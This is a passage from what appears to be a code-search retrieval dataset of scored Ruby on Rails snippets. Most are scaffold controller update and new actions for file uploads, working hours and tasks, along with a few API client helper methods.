{}) \n id = args['id']\n temp_path = \"/tenantcircles.json/{circleId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantcircleId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "86bf941322f833441f6920b4204a5f3f", "score": "0.5554778", "text": "def update\n @file_no = FileNo.find(params[:id])\n\n respond_to do |format|\n if @file_no.update_attributes(params[:file_no])\n format.html { redirect_to @file_no, notice: 'File no was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @file_no.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "5f427e0983e3f63367d558c6a541f550", "score": "0.5553032", "text": "def update\n respond_to do |format|\n if 1==1\n format.html { redirect_to @file, notice: 'File was successfully updated.' }\n format.json { render :show, status: :ok, location: @file }\n else\n format.html { render :edit }\n format.json { render json: @file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b2e64fda6a6342935b103408b348bb8a", "score": "0.55371225", "text": "def update\n respond_to do |format|\n if @my_file.update(my_file_params)\n format.html { redirect_to @my_file, notice: 'My file was successfully updated.' }\n format.json { render :show, status: :ok, location: @my_file }\n else\n format.html { render :edit }\n format.json { render json: @my_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "47abb2cddfa1a665018f717cdaaa4164", "score": "0.55328995", "text": "def update!(params)\n res = @client.put(path, {}, params, \"Content-Type\" => \"application/json\")\n\n @attributes = res.json if res.status == 201\n end", "title": "" }, { "docid": "d7ce09be786c7c61041572bcda7486f9", "score": "0.55287045", "text": "def update\n respond_to do |format|\n if @filepath.update(filepath_params)\n format.html { redirect_to @filepath, notice: 'Filepath was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @filepath.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "d5ce7fc668350df0cc8102702fdeb151", "score": "0.55253786", "text": "def update\n respond_to do |format|\n if @document.update(document_params)\n if params[:update_files]\n begin\n @document.file.cache_stored_file!\n @document.file.retrieve_from_cache!(@document.file.cache_name)\n @document.file.recreate_versions!\n @document.save!\n rescue => e\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n format.html { redirect_to @document, notice: 'Document was successfully updated.' }\n format.json { render :show, status: :ok, location: @document }\n else\n format.html { render :edit }\n format.json { render json: @document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "fb372a83a43f90c997c09acedc827cca", "score": "0.55243087", "text": "def update_lookup_file(accountId, id, model) path = \"/api/v2/advancedrules/accounts/#{accountId}/lookupFiles/#{id}\"\n put(path, model, {}, AvaTax::VERSION) end", "title": "" }, { "docid": "d6ba26d686b890fd9e4a0493f26c29f9", "score": "0.55237037", "text": "def update!(**args)\n @date_range = args[:date_range] if args.key?(:date_range)\n @etag = args[:etag] if args.key?(:etag)\n @file_name = args[:file_name] if args.key?(:file_name)\n @format = args[:format] if args.key?(:format)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @last_modified_time = args[:last_modified_time] if args.key?(:last_modified_time)\n @report_id = args[:report_id] if args.key?(:report_id)\n @status = args[:status] if args.key?(:status)\n @urls = args[:urls] if args.key?(:urls)\n end", "title": "" }, { "docid": "debf62e864db4eb155f0b242e42a8d57", "score": "0.54868305", "text": "def update\n respond_to do |format|\n if @wb_csv_line.update(wb_csv_line_params)\n format.html { redirect_to @wb_csv_line, notice: 'Wb csv line was successfully updated.' }\n format.json { render :show, status: :ok, location: @wb_csv_line }\n else\n format.html { render :edit }\n format.json { render json: @wb_csv_line.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "b8008656bb46dca2d4ba34c1c4a4f23f", "score": "0.54864043", "text": "def update\n @cloud_file = current_user.cloud_files.find(params[:id])\n\n respond_to do |format|\n if @cloud_file.update_attributes(params[:cloud_file])\n format.html { redirect_to @cloud_file, notice: 'Cloud file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @cloud_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "55fc71c44cde5b5dddd4c3a4b95a2bad", "score": "0.5480867", "text": "def update\n @vcf_file = VcfFile.find(params[:id])\n\n if !params[:vcf_file][:comment].blank?\n @vcf_file.comment = params[:vcf_file][:comment]\n @vcf_file.save\n end\n\n params[:indiv].each_with_index do |name, i|\n if (!params[:phenotypes][i].blank?) && (!params[:description][i].blank?)\n @sample = @vcf_file.sampless.where( :indiv_id => i ).first\n if @sample.blank?\n @sample = Sample.new( :indiv_id => i )\n @vcf_file.patients << @patient\n @current_login.user.patients << @patient\n end\n @patient.phenotypes = params[:phenotypes][i]\n @patient.description = params[:description][i] \n @patient.save \n end\n end\n\n respond_to do |format|\n if @vcf_file.update_attributes(params[:patient])\n format.html { redirect_to @vcf_file, :notice => 'Vcf file was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @vcf_file.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "702f79e0a7f2e1a28f42128ba5a2c713", "score": "0.54727834", "text": "def patch_file bucket_name, file_path, options = {}\n params = { bucket: bucket_name,\n object: file_path,\n predefinedAcl: options[:predefined_acl]\n }.delete_if { |_, v| v.nil? }\n\n execute(\n api_method: @storage.objects.patch,\n parameters: params,\n body_object: patch_file_request(options)\n )\n end", "title": "" }, { "docid": "203a7cc3d88f4e6a93daacb84246455e", "score": "0.5471597", "text": "def update\n @file_container = FileContainer.find(params[:id])\n\n respond_to do |format|\n if @file_container.update_attributes(params[:file_container])\n format.html { redirect_to file_containers_url, notice: 'File was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @file_container.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e447eb7cf82e3008c2a4ff7a9f34fc95", "score": "0.5471233", "text": "def update\n @tariff_file_list = TariffFileList.find(params[:id])\n\n @tariff_file_list.header = params[:tariff_file_list][:header]\n @tariff_file_list.body = params[:tariff_file_list][:body]\n\n respond_to do |format|\n #if @tariff_file_list.update_attributes(params[:tariff_file_list])\n if @tariff_file_list.save\n format.html { redirect_to(@tariff_file_list, :notice => 'TariffFileList was successfully updated.') }\n format.xml { head :ok }\n format.json { \n head :ok \n }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @tariff_file_list.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "a6eab54ba1e08160f0fdfada7b749d16", "score": "0.5468301", "text": "def update\n respond_to do |format|\n if @data_file_upload.update(data_file_upload_params)\n format.html { redirect_to @data_file_upload, notice: 'Data file upload was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @data_file_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "ad1f3193293fabe469765a6f670e0f2b", "score": "0.5463139", "text": "def update_invoice_file_paid\n $fileID = Transaction.find(params[:id]).invoice_file_link.match(/document\\/d\\/((.)+)\\/edit/)[1]\n begin\n @result = google_service.rename_inv_file_paid($fileID, session[:token])\n render json: @result\n rescue\n @result = \"ERROR\"\n render json: @result\n end\n end", "title": "" }, { "docid": "adece6c8dbba6da8d956774b410c645a", "score": "0.5458248", "text": "def update_mobile_carrier(args = {}) \n id = args['id']\n temp_path = \"/mobile.json/{carrierId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"mobileId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "title": "" }, { "docid": "6e45b2c7d224ada94a53c663511e6557", "score": "0.54569626", "text": "def perform_study_file_upload(filename, study_file_params, study_id)\n file_upload = Rack::Test::UploadedFile.new(Rails.root.join('test', 'test_data', filename))\n study_file_params[:study_file].merge!(upload: file_upload)\n patch \"/single_cell/studies/#{study_id}/upload\", params: study_file_params, headers: {'Content-Type' => 'multipart/form-data'}\nend", "title": "" }, { "docid": "7d3203295a338cc591e662b83e89f458", "score": "0.5454065", "text": "def update\n\n respond_to do |format|\n if @file_upload.update(params[:file_upload])\n format.html { redirect_to [@hub, @group, @file_upload], :notice => 'File upload was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @file_upload.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0d7ad28fb44fbad2e89396c6f878f4ba", "score": "0.5453464", "text": "def update\n @mds_file = MdsFile.find(params[:id])\n\n respond_to do |format|\n if @mds_file.update_attributes(params[:mds_file])\n format.html { redirect_to @mds_file, notice: 'Mds file was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @mds_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f51f9e2e948f1fc2f1b3ace718f15309", "score": "0.5448149", "text": "def update\n unless admin_file_document_params[:file].blank?\n @admin_file_document.remove_file!\n end\n respond_to do |format|\n if @admin_file_document.update(admin_file_document_params)\n format.html { redirect_to @admin_file_document, notice: 'Документ успішно оновлений.' }\n format.json { render :show, status: :ok, location: @admin_file_document }\n else\n format.html { render :edit }\n format.json { render json: @admin_file_document.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7112d0c0e750135264391c879d9409ca", "score": "0.544483", "text": "def update\n @trfile = Trfile.find(params[:id])\n if !params[:trfile][:subjectid].nil?\n v_shared = Shared.new # using some functions in the Shared model --- this is the same as in schedule file upload\n v_sp_id = v_shared.get_sp_id_from_subjectid_v(params[:trfile][:subjectid])\n if !v_sp_id.nil?\n params[:trfile][:scan_procedure_id] = v_sp_id\n end\n v_enrollment_id = v_shared.get_enrollment_id_from_subjectid_v(params[:trfile][:subjectid])\n if !v_enrollment_id.nil?\n params[:trfile][:enrollment_id] = v_enrollment_id\n end\n end\n\n respond_to do |format|\n if @trfile.update_attributes(params[:trfile])\n format.html { redirect_to @trfile, notice: 'Trfile was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @trfile.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "f37dfee46d278dd7fce518cfd8366edd", "score": "0.54442364", "text": "def update\n respond_to do |format|\n puts 'in ExcelFile update'\n puts \"params:#{excel_file_params}\"\n if @excel_file.update(excel_file_params)\n format.html { redirect_to @excel_file, notice: 'Excel file was successfully updated.' }\n format.json { render :show, status: :ok, location: @excel_file }\n else\n @excel_file.update_attribute('name', excel_file_params['name'])\n format.html { render :edit }\n format.json { render json: @excel_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "939c1965b76e53d020304b372909940f", "score": "0.54440236", "text": "def update\n @parsable_file = ParsableFile.find(params[:id])\n\n respond_to do |format|\n if @parsable_file.update_attributes(params[:parsable_file])\n format.html { redirect_to @parsable_file, notice: 'Parsable file was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @parsable_file.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "3502d6b7b263484c91cfd2feab31674b", "score": "0.5440785", "text": "def update\n authorize @contractor\n files = @contractor.contractor_files\n files += contractor_params[:contractor_files] if contractor_params[:contractor_files]\n @contractor.assign_attributes(contractor_params)\n @contractor.contractor_files = files\n\n if params[:contractor_files_remove]\n\n remain_files = @contractor.contractor_files\n\n params[:contractor_files_remove].reverse_each do |file, state|\n if state.to_i == 1\n deleted_files = remain_files.delete_at(file.to_i)\n deleted_files.try(:remove!)\n end\n end\n\n @contractor.remove_contractor_files! if remain_files.empty?\n\n end\n respond_to do |format|\n if @contractor.save\n format.html { redirect_to @contractor, notice: 'Contractor was successfully updated.' }\n format.json { render :show, status: :ok, location: @contractor }\n else\n format.html { render :edit }\n format.json { render json: @contractor.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "7b909f148897744150a27d6a95090033", "score": "0.54359066", "text": "def patch_update_consumption_detail_id\n id_array = JSON.parse(params[:ids])\n consumption_detail_id = params[:consumption_detail_id]\n UserAttachment.find_by_ids(id_array).update(consumption_detail_id: consumption_detail_id)\n consumption_detail_attachments = UserAttachment.find_by_ids(id_array)\n render json: { result: 'success', consumption_detail_attachments:consumption_detail_attachments }, status: 200\n end", "title": "" }, { "docid": "55738e9a860ebf3c4b71616bf3a2129d", "score": "0.5433768", "text": "def api_json\n {\n id: id,\n name: file_set\n }\n end", "title": "" }, { "docid": "bcc77d5871f73506a23942255615db3f", "score": "0.5427993", "text": "def update\n @person = Person.find(params[:id])\n\n if !params[:upload].nil? then\n params[:upload].each { |n,f|\n params[:person][n] = f.tempfile.read\n }\n end\n\n respond_to do |format|\n if @person.update_attributes(params[:person])\n format.html { redirect_to @person, notice: 'Person was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @person.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "27d4c30fa847142e5ebdc5bc4085c9fc", "score": "0.54224366", "text": "def update\n @file_upload = FileUpload.find(params[:id])\n\n respond_to do |format|\n if @file_upload.update_attributes(params[:file_upload])\n format.html { redirect_to @file_upload, notice: 'File upload was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @file_upload.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" } ]
4061fca689062ae5f3776b1a24d5f950
GET /pending_hours/new GET /pending_hours/new.xml
[ { "docid": "545858a7700cf79a878e1babd5218c8b", "score": "0.6852872", "text": "def new\n @pending_hour = PendingHour.new\n @role_choices = Role.choices_for_select_doer\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @pending_hour }\n end\n end", "title": "" } ]
[ { "docid": "d44d61cb80158f9e832fe8c599cb4b85", "score": "0.75148785", "text": "def new\n @hours = Hours.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hours }\n end\n end", "title": "" }, { "docid": "beb05987312fcef7b065074353cdbe3a", "score": "0.7184093", "text": "def new\n @hour = Hour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hour }\n end\n end", "title": "" }, { "docid": "768f65f2496a6438677b398e7c2f43d1", "score": "0.6838844", "text": "def new\n @title = \"New Rquest Off\"\n @request = Request.new\n 0.times { @request.hours.build }\n @request.firstName = current_employee.firstName\n @request.lastName = current_employee.lastName\n @request.email = current_employee.email\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @request }\n end\n end", "title": "" }, { "docid": "1e213551f0ca2fa0667974dd43a4a2be", "score": "0.6823635", "text": "def new\n add_breadcrumb \"New Reminder\", :new_schedule_path\n @schedule = FixedSchedule.new :timescale => \"hours\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @schedule }\n end\n end", "title": "" }, { "docid": "0fd300e698c63d3c172b1f87b37cc0ab", "score": "0.67918587", "text": "def new\n @site_hour = SiteHour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @site_hour }\n end\n end", "title": "" }, { "docid": "342e7a7ba2a3d3083d521f09db06d2b7", "score": "0.6771803", "text": "def new\n @timelost = Timelost.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timelost }\n end\n end", "title": "" }, { "docid": "63c27a1a3b8b2ec5a854c9096adeeedf", "score": "0.67288554", "text": "def new\n @planworkhour = Planworkhour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @planworkhour }\n end\n end", "title": "" }, { "docid": "97e5aa23c450722bee4869a5fbe6de98", "score": "0.6709249", "text": "def new\n @when_week = WhenWeek.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @when_week }\n end\n end", "title": "" }, { "docid": "9231114b74f6a5a4f7d3e3221b80941b", "score": "0.670103", "text": "def new\n val = Digest::SHA2.hexdigest(Time.now.utc.to_s)\n @trip = Trip.new(:sum => val.slice(0..9))\n @title = \"New Trip\"\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @trip }\n end\n end", "title": "" }, { "docid": "9c822a2968837a91cbf3487f48aa93f8", "score": "0.66933715", "text": "def new\n @timeoff_request = TimeoffRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timeoff_request }\n end\n end", "title": "" }, { "docid": "e5883d10e86c4d40b288107a460d8a8b", "score": "0.6685174", "text": "def new\n @hour = Hour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hour }\n end\n end", "title": "" }, { "docid": "8da8e9ebffdc658205880018af3a2340", "score": "0.6659773", "text": "def create\n @hours = Hours.new(params[:hours])\n\n respond_to do |format|\n if @hours.save\n flash[:notice] = 'Hours was successfully created.'\n format.html { redirect_to(@hours) }\n format.xml { render :xml => @hours, :status => :created, :location => @hours }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @hours.errors, :status => :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "0b7b5b63e6bdf74b3e3382170fd1d689", "score": "0.66470647", "text": "def new\n @when_timeslot = WhenTimeslot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @when_timeslot }\n end\n end", "title": "" }, { "docid": "2e0b84043126d85cfcf509fc78e5d3e8", "score": "0.6583108", "text": "def new\n @when_day = WhenDay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @when_day }\n end\n end", "title": "" }, { "docid": "a71b36c4e892e2b76591edecd46a4ad9", "score": "0.6581655", "text": "def new\n @working_time = WorkingTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @working_time }\n format.json { render :json => @working_time }\n end\n end", "title": "" }, { "docid": "2ce1e8f675fb5cb0242e252a5e705cce", "score": "0.6573658", "text": "def new\n @available_hour = AvailableHour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @available_hour }\n end\n end", "title": "" }, { "docid": "b14af73d00222181df2891802ef6b1c5", "score": "0.6536992", "text": "def new\n @project.project_state = ProjectState.find_by_i18n_name(\"created\")\n @project.hours_day = DayHour.first.hours\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "title": "" }, { "docid": "bf9c0879d87aca81eb4c36b6b9e3b4ee", "score": "0.6533575", "text": "def new\n @time_entry = TimeEntry.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @time_entry }\n end\n end", "title": "" }, { "docid": "1a6851582ea9dbaf58d271a51828f9c4", "score": "0.6522849", "text": "def new\n @newtask = Newtask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @newtask }\n end\n end", "title": "" }, { "docid": "f0113e1692de2d128c4ed9e19d31c893", "score": "0.6500703", "text": "def new\n @working_hour = WorkingHour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @working_hour }\n end\n end", "title": "" }, { "docid": "913e27ec28f6d0b26a01051653870135", "score": "0.64822716", "text": "def new\n @test_time = TestTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @test_time }\n end\n end", "title": "" }, { "docid": "3744f2f70d492c42f8f37fb443f944da", "score": "0.64716727", "text": "def new\n @week = Week.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render xml: @week }\n end\n end", "title": "" }, { "docid": "08fcdf80926b3895ca7596e9e68107b5", "score": "0.64716697", "text": "def new\n @time_allocate = TimeAllocate.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @time_allocate }\n end\n end", "title": "" }, { "docid": "42f0f5c97ee220bc9a69abd338a2eb6d", "score": "0.6462391", "text": "def new\n @period_timing = PeriodTiming.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @period_timing }\n end\n end", "title": "" }, { "docid": "d4bde664840ad168762fb028ec6d6318", "score": "0.645049", "text": "def new\n @after_hours_access = AfterHoursAccess.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @after_hours_access }\n end\n end", "title": "" }, { "docid": "3a2a00a1290c9f14aaadc4b6c5c2dbed", "score": "0.6435999", "text": "def new\n @op_timer = OpTimer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @op_timer, :dasherize => false }\n end\n end", "title": "" }, { "docid": "04fc9e2391d9dc27aebc0db1a4c644dc", "score": "0.64252836", "text": "def new\n @upcoming_task = UpcomingTask.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @upcoming_task }\n end\n end", "title": "" }, { "docid": "59774fbdec7e0b1deeb152e638eba904", "score": "0.6416701", "text": "def new\n @hollyday = Hollyday.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hollyday }\n end\n end", "title": "" }, { "docid": "20c8a4cf553bcf9409685ab41e59b8b4", "score": "0.6409643", "text": "def new\n @time_unit = TimeUnit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @time_unit }\n end\n end", "title": "" }, { "docid": "29a0216090e885cc33726563c22fbc06", "score": "0.63927907", "text": "def new\n @ptschedule = Ptschedule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @ptschedule }\n end\n end", "title": "" }, { "docid": "dc4127ed9796ebfa1e60ed1fd63f0c7f", "score": "0.63852185", "text": "def new\n @punch = Punch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @punch }\n end\n end", "title": "" }, { "docid": "dc4127ed9796ebfa1e60ed1fd63f0c7f", "score": "0.63852185", "text": "def new\n @punch = Punch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @punch }\n end\n end", "title": "" }, { "docid": "244231637aad1397a0f18f983cc22a4e", "score": "0.6378544", "text": "def new\n @work_hour = WorkHour.new\n @options.merge!({url: [@project, @entry, @story, :add_hours_worked]})\n\n respond_to do |format|\n format.html { render action: 'new', layout: @options[:layout] }\n format.json { render json: @work_hour }\n end\n end", "title": "" }, { "docid": "8b469a0323064d28ce5c03ebb693806f", "score": "0.6374529", "text": "def new\n @weeklytimetable_detail = WeeklytimetableDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @weeklytimetable_detail }\n end\n end", "title": "" }, { "docid": "8b469a0323064d28ce5c03ebb693806f", "score": "0.6374529", "text": "def new\n @weeklytimetable_detail = WeeklytimetableDetail.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @weeklytimetable_detail }\n end\n end", "title": "" }, { "docid": "1a070991f1f86f57d62ce5e46138e069", "score": "0.6371074", "text": "def new\n @time_slot = TimeSlot.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @time_slot }\n end\n end", "title": "" }, { "docid": "aae6b2b10099a52cac830da9e26e4457", "score": "0.63673484", "text": "def new\n @working_day = WorkingDay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @working_day }\n end\n end", "title": "" }, { "docid": "561278264a372b52868808ad6b268ad7", "score": "0.63647455", "text": "def new\n respond_to do |format|\n format.html { render_template } # new.html.erb\n format.xml { render xml: @scheduled_task }\n end\n end", "title": "" }, { "docid": "f81d92d662e43510b7fb7fe3f1e1505a", "score": "0.636129", "text": "def new\n \t@timesheet = Timesheet.new\n\t# Incident.find(params[:incident_id]).create_timesheet(:name => \"test\")\n\t\n\t\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timesheet }\n end\n end", "title": "" }, { "docid": "af7d9020dcbcc58e8c650fadbffcc062", "score": "0.63586426", "text": "def new\n @hundred = Hundred.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hundred }\n end\n end", "title": "" }, { "docid": "8ea4d571097dc2e7b7a16f6160b49f89", "score": "0.63475215", "text": "def new\r\n @stat = Stat.new\r\n @now = get_closest_time\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @stat }\r\n end\r\n end", "title": "" }, { "docid": "54b2e612e743d4922e83d1735607d09d", "score": "0.6339118", "text": "def new\n @timer = Timer.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timer }\n end\n end", "title": "" }, { "docid": "101fd6054a77ec8357481fd13e85e577", "score": "0.6339089", "text": "def new\n @office_hour = OfficeHour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @office_hour }\n end\n end", "title": "" }, { "docid": "18933afdbb6783872a69b8d3c13407d0", "score": "0.63333946", "text": "def new\n expire_page :action => :index\n expire_page :action => :show\n \n @jira_countdown = JiraCountdown.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @jira_countdown }\n end\n end", "title": "" }, { "docid": "83adbe6ee1c7e43d349576e7370dd688", "score": "0.63150746", "text": "def new\n @billtime = Billtime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @billtime }\n end\n end", "title": "" }, { "docid": "593ec24766e75032830e7683d64268ea", "score": "0.63129145", "text": "def new\n @operationhour = Operationhour.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @operationhour }\n end\n end", "title": "" }, { "docid": "12ccecf0572d1666b14a47abab962daf", "score": "0.6293862", "text": "def new\n @timetable_week_day = TimetableWeekDay.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timetable_week_day }\n end\n end", "title": "" }, { "docid": "94b44a1a787e2aaf91d24ccc9b0c63a8", "score": "0.6290551", "text": "def new\n @event = Event.new\n @event.set_hours(params[:start], params[:end])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @event }\n end\n end", "title": "" }, { "docid": "de7b611abe02c75cca90de772324c43f", "score": "0.6278838", "text": "def new\n @lookup = Lookup.new\n\n @new_key = \" \"\n \n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lookup }\n end\n end", "title": "" }, { "docid": "d23dab24411df8d8bf77e7ed1fef4fc8", "score": "0.62749344", "text": "def new\n @simple_schedule = SimpleSchedule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @simple_schedule }\n end\n end", "title": "" }, { "docid": "34d30766a627f21a682c9a3cfabdc413", "score": "0.62670285", "text": "def new\n @periodicity = Periodicity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @periodicity }\n end\n end", "title": "" }, { "docid": "450a9fd9c29cb16c17e37b9a0a055cbe", "score": "0.6252691", "text": "def new\n @pending_request = PendingRequest.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @pending_request }\n end\n end", "title": "" }, { "docid": "c27d026ad4b18fb4abccf0f7e08289e9", "score": "0.6250143", "text": "def new\n @lunch = Lunch.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lunch }\n end\n end", "title": "" }, { "docid": "bddd640453c773f5e5098bded63c59c5", "score": "0.6245154", "text": "def new\n @task = @milestone.tasks.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "d96e04e5494bdd3e1c958d56fd9b3e12", "score": "0.62407994", "text": "def new\n @hour_report = HourReport.new\n @hour_report.user_id = current_user.id\n @hour_report.task ||= current_user.projects.last.tasks.first if current_user.projects and current_user.projects.last.tasks\n \n @tasks = Task.find(:all)\n @users = User.find(:all)\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @hour_report }\n end\n end", "title": "" }, { "docid": "a162e72f06eceddcc67370047e462b78", "score": "0.62387806", "text": "def new\n @roundtrip = Roundtrip.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @roundtrip }\n end\n end", "title": "" }, { "docid": "c11e4cbb94d16e997f4ad83565c48489", "score": "0.623458", "text": "def new\n @payday = Payday.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @payday }\n end\n end", "title": "" }, { "docid": "c88650677df1f5b5d6a4e781a5577cb3", "score": "0.62287766", "text": "def new\n respond_to do |format|\n format.html # new.html.haml\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "ab66dd6668d49678a4aba5a0d650f2fd", "score": "0.6227499", "text": "def new\n @time_type = TimeType.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @time_type }\n end\n end", "title": "" }, { "docid": "5310010f001a86c2477aec11df2b902a", "score": "0.6226964", "text": "def new\n @task_priority = TaskPriority.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task_priority }\n end\n end", "title": "" }, { "docid": "78b67f9853b6387400e17768999a6ca2", "score": "0.6225303", "text": "def new\n @days_of_week = [0,1,2,3,4,5,6]\n @managers = Manager.where(validity: true)\n @template_route = TemplateRoute.new\n @shipping_addresses = []\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @template_route }\n end\n end", "title": "" }, { "docid": "f9143b37210f4c826400cc3bb027e7c2", "score": "0.6212027", "text": "def new\n @waypoint = Waypoint.new\n\n respond_to do |format|\n format.html\n format.xml { render :xml => @waypoint }\n format.json { render :json => @waypoint }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62089723", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { "docid": "aa12406e916fa4e0a2213fedbf687b1f", "score": "0.62082446", "text": "def new\n @task = Task.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @task }\n end\n end", "title": "" }, { 